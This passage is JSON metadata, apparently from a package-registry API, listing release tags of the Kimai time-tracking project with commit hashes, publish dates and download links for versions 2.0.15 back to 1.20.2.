b70e250253a34d9eab","kind":"commit","published_at":"2023-04-15T22:44:00.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.15","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.15/manifests"},{"name":"2.0.14","sha":"0c397e5080478a5880e3909dd9c3755f7c568393","kind":"commit","published_at":"2023-04-05T17:14:49.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.14","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.14/manifests"},{"name":"2.0.13","sha":"01226a12434a6379c1c8f50e70035821cfa2d4a5","kind":"commit","published_at":"2023-03-29T23:08:15.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.13","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.13/manifests"},{"name":"2.0.12","sha":"04b5eb4c38fa46cf7ee76eeb348c35d3669938dd","kind":"commit","published_at":"2023-03-23T23:47:36.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.12","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.12/manifests"},{"name":"2.0.11","sha":"3a5d7a62de10dcab1cc5ef0f971b7d81307c6fbe","kind":"commit","published_at":"2023-03-21T11:42:18.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.11","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.11/manifests"},{"name":"2.0.10","sha":"f007697a73abfe39ba22d77ed89a893dfe1508d8","kind":"commit","published_at":"2023-03-15T22:02:28.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.10","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.10/manifests"},{"name":"2.0.9","sha":"1a8c78944acdde24a75b544d7bd04bf51758f984","kind":"commit","published_at":"2023-03-14T22:51:49.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.9","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.9/manifests"},{"name":"2.0.8","sha":"8449eafcb65373ed6f6bacd9ec69943fa511b2e5","kind":"commit","published_at":"2023-03-13T00:48:53.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.8","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.8/manifests"},{"name":"2.0.7","sha":"1310285133adb1f78e018cbbef3e7d2f4b797e50","kind":"commit","published_at":"2023-03-08T22:30:45.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.7","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.7/manifests"},{"name":"2.0.6","sha":"9d503300f63eba68bcd4c1f828fefffd3fd4cde5","kind":"commit","published_at":"2023-03-07T23:38:10.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.6","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.6/manifests"},{"name":"2.0.5","sha":"cc39f25d37d06df216aca1d1824630b8e06f6f94","kind":"commit","published_at":"2023-03-05T02:44:28.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.5","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.5/manifests"},{"name":"1.30.11","sha":"c341d340e6efd02ca541bc3871b22d81d29d1589","kind":"commit","published_at":"2023-03-03T16:55:18.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.30.11","html_url":"https://github.com/kimai/kimai/releases/tag/1.30.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.30.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.11/manifests"},{"name":"2.0.4","sha":"5c473ad39b31b2d9d9148664076babaa9c016bad","kind":"commit","published_at":"2023-03-02T13:22:19.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.4","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.4/manifests"},{"name":"2.0.3","sha":"a8b972f8a5e3aed398d008ed7333bae4c555e3e0","kind":"commit","published_at":"2023-02-25T19:57:48.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.3","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.3/manifests"},{"name":"2.0.2","sha":"266c4bad25e8632f723153c111bd637037879004","kind":"commit","published_at":"2023-02-22T14:06:54.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.2","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.2/manifests"},{"name":"1.30.10","sha":"6df135d54761aa70f951be059811028b97b9d12c","kind":"commit","published_at":"2023-02-21T09:42:25.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.30.10","html_url":"https://github.com/kimai/kimai/releases/tag/1.30.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.30.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.10/manifests"},{"name":"1.30.9","sha":"a5109781fad27526d26728f6a1fab28e817198e3","kind":"commit","published_at":"2023-02-19T14:57:50.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.30.9","html_url":"https://github.com/kimai/kimai/releases/tag/1.30.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.30.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.9/manifests"},{"name":"2.0.1","sha":"e474087257c090c58fcd04b30bcb53427acea10f","kind":"commit","published_at":"2023-02-18T13:19:16.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.1","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.1/manifests"},{"name":"1.30.8","sha":"2d809b4f06d5083a66bb618d9e2adabe9b152e15","kind":"commit","published_at":"2023-02-17T20:06:05.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.30.8","html_url":"https://github.com/kimai/kimai/releases/tag/1.30.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.30.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.8/manifests"},{"name":"1.30.7","sha":"ced1883b6f3339b837208988370669f9f5a77eee","kind":"commit","published_at":"2023-02-09T12:02:33.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.30.7","html_url":"https://github.com/kimai/kimai/releases/tag/1.30.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.30.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.7/manifests"},{"name":"2.0.0","sha":"d481f6826612055101d9642cf85de6bfb80189a9","kind":"commit","published_at":"2023-02-07T18:36:10.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.0/manifests"},{"name":"1.30.6","sha":"57722f25fdeb2d71d7bdfa7dc1dd9c8c3527cc23","kind":"commit","published_at":"2023-02-06T14:57:30.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.30.6","html_url":"https://github.com/kimai/kimai/releases/tag/1.30.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.30.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.6/manifests"},{"name":"2.0.0-rc-1","sha":"f32448b9f5510673f88af0f71f808b0f36766b78","kind":"commit","published_at":"2023-02-05T19:14:28.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.0-rc-1","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.0-rc-1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.0-rc-1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.0-rc-1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.0-rc-1/manifests"},{"name":"2.0.0-beta-3","sha":"63a3ae11479df9df4e8426306863fee8bd0b38d3","kind":"commit","published_at":"2023-02-01T23:45:50.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.0-beta-3","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.0-beta-3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.0-beta-3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.0-beta-3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.0-beta-3/manifests"},{"name":"2.0.0-beta-2","sha":"a230be77dd36a4e23853cb0bace93fcae1885ed9","kind":"commit","published_at":"2023-01-21T13:49:55.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.0-beta-2","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.0-beta-2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.0-beta-2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.0-beta-2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.0-beta-2/manifests"},{"name":"1.30.5","sha":"db4179df1952f7677399f611a14a2ae4681ccca7","kind":"commit","published_at":"2023-01-20T11:55:50.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.30.5","html_url":"https://github.com/kimai/kimai/releases/tag/1.30.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.30.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.5/manifests"},{"name":"1.30.4","sha":"b62253e1f33e35ccd35909e9bd65e73a34c74c41","kind":"commit","published_at":"2023-01-18T13:59:45.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.30.4","html_url":"https://github.com/kimai/kimai/releases/tag/1.30.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.30.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.4/manifests"},{"name":"1.30.3","sha":"559868fedeee4abc46ad88a92b05c32c4e8920c3","kind":"commit","published_at":"2023-01-15T16:51:07.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.30.3","html_url":"https://github.com/kimai/kimai/releases/tag/1.30.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.30.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.3/manifests"},{"name":"2.0.0-beta","sha":"8069e332febe5dc832bf5d5adb89e309b2700e2e","kind":"commit","published_at":"2023-01-12T11:10:11.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.0-beta","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.0-beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.0-beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.0-beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.0-beta/manifests"},{"name":"1.30.2","sha":"d74236d9aca1f49f314bea7d7bd9bd05258a7ec6","kind":"commit","published_at":"2023-01-09T23:23:26.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.30.2","html_url":"https://github.com/kimai/kimai/releases/tag/1.30.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.30.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.2/manifests"},{"name":"2.0.0-alpha","sha":"90a0fd8a221dce23dbd27451682d7134ab1ce9df","kind":"commit","published_at":"2022-12-31T20:19:55.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.0-alpha","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.0-alpha","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.0-alpha","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.0-alpha","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.0-alpha/manifests"},{"name":"1.30.1","sha":"95e06746bd6eaa65db7b4576257447240e26e70b","kind":"commit","published_at":"2022-12-28T14:47:57.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.30.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.30.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.30.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.1/manifests"},{"name":"1.30.0","sha":"84cc65b008f9628cb48f404b9c8be74351ab4373","kind":"commit","published_at":"2022-12-17T00:43:45.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.30.0","html_url":"https://github.com/kimai/kimai/releases/tag/1.30.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.30.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.30.0/manifests"},{"name":"1.29.1","sha":"2d82f0400da228d9b8bb890f5351445fcdc47480","kind":"commit","published_at":"2022-11-24T13:37:52.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.29.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.29.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.29.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.29.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.29.1/manifests"},{"name":"1.29.0","sha":"52f5e5640ecf3ecae35253e9ef0e80afdd48601a","kind":"commit","published_at":"2022-11-21T20:17:02.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.29.0","html_url":"https://github.com/kimai/kimai/releases/tag/1.29.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.29.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.29.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.29.0/manifests"},{"name":"1.28.1","sha":"642d31432a1257e2f098c6bbd08380a5aa05e44e","kind":"commit","published_at":"2022-10-30T10:34:17.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.28.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.28.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.28.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.28.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.28.1/manifests"},{"name":"1.28.0","sha":"421be6835e2f42a181cd5f1a00adc98cfddaaf29","kind":"commit","published_at":"2022-10-29T16:23:28.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.28.0","html_url":"https://github.com/kimai/kimai/releases/tag/1.28.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.28.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.28.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.28.0/manifests"},{"name":"1.27.0","sha":"6d7054c18c2f2deccccd7890730c8f3f0619768e","kind":"commit","published_at":"2022-10-19T06:55:42.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.27.0","html_url":"https://github.com/kimai/kimai/releases/tag/1.27.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.27.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.27.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.27.0/manifests"},{"name":"1.26.0","sha":"1959d4d8df3ce9883f54f51ccd4751984232bae3","kind":"commit","published_at":"2022-10-01T21:25:33.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.26.0","html_url":"https://github.com/kimai/kimai/releases/tag/1.26.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.26.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.26.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.26.0/manifests"},{"name":"1.25.0","sha":"b38fc9662362c0d8b4c55d487ff1d673db7f943b","kind":"commit","published_at":"2022-09-20T13:53:32.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.25.0","html_url":"https://github.com/kimai/kimai/releases/tag/1.25.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.25.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.25.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.25.0/manifests"},{"name":"1.24.0","sha":"5a2b53900301726339746f5f15d295b5f18543df","kind":"commit","published_at":"2022-09-04T21:55:52.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.24.0","html_url":"https://github.com/kimai/kimai/releases/tag/1.24.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.24.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.24.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.24.0/manifests"},{"name":"1.23.1","sha":"00906851b5e9bdcc6550c6648e823dc759e23a04","kind":"commit","published_at":"2022-09-01T11:15:17.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.23.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.23.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.23.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.23.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.23.1/manifests"},{"name":"1.23.0","sha":"ad20fd1c6422a2155927481d7b0e39367182c7d8","kind":"commit","published_at":"2022-08-30T16:02:44.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.23.0","html_url":"https://github.com/kimai/kimai/releases/tag/1.23.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.23.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.23.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.23.0/manifests"},{"name":"1.22.1","sha":"303ec5be117601fefba1036fdfb57b20af507546","kind":"commit","published_at":"2022-08-01T16:56:48.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.22.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.22.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.22.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.22.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.22.1/manifests"},{"name":"1.22.0","sha":"64c752bea3663d9a9603ffa09c512b0da125d925","kind":"commit","published_at":"2022-08-01T12:45:22.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.22.0","html_url":"https://github.com/kimai/kimai/releases/tag/1.22.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.22.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.22.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.22.0/manifests"},{"name":"1.21.0","sha":"0dba83d8e9c526c1f30a77175e0b79a9d8e9dae2","kind":"commit","published_at":"2022-07-13T15:21:36.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.21.0","html_url":"https://github.com/kimai/kimai/releases/tag/1.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.21.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.21.0/manifests"},{"name":"1.20.4","sha":"cdf5a545ebc916ffe1b26e322b101474010b7c14","kind":"commit","published_at":"2022-06-14T11:07:57.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.20.4","html_url":"https://github.com/kimai/kimai/releases/tag/1.20.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.20.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.20.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.20.4/manifests"},{"name":"1.20.3","sha":"a60df6506257ed3cf709002e390542c1ac3a3f3d","kind":"commit","published_at":"2022-06-11T11:53:10.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.20.3","html_url":"https://github.com/kimai/kimai/releases/tag/1.20.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.20.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.20.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.20.3/manifests"},{"name":"1.20.2","sha":"3f827b3104f6512480b3111f5db8755a11ae8de2","kind":"commit","published_at":"2022-05-31T16:08:41.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.20.2","html_url":"https://github.com/kimai/kimai/relea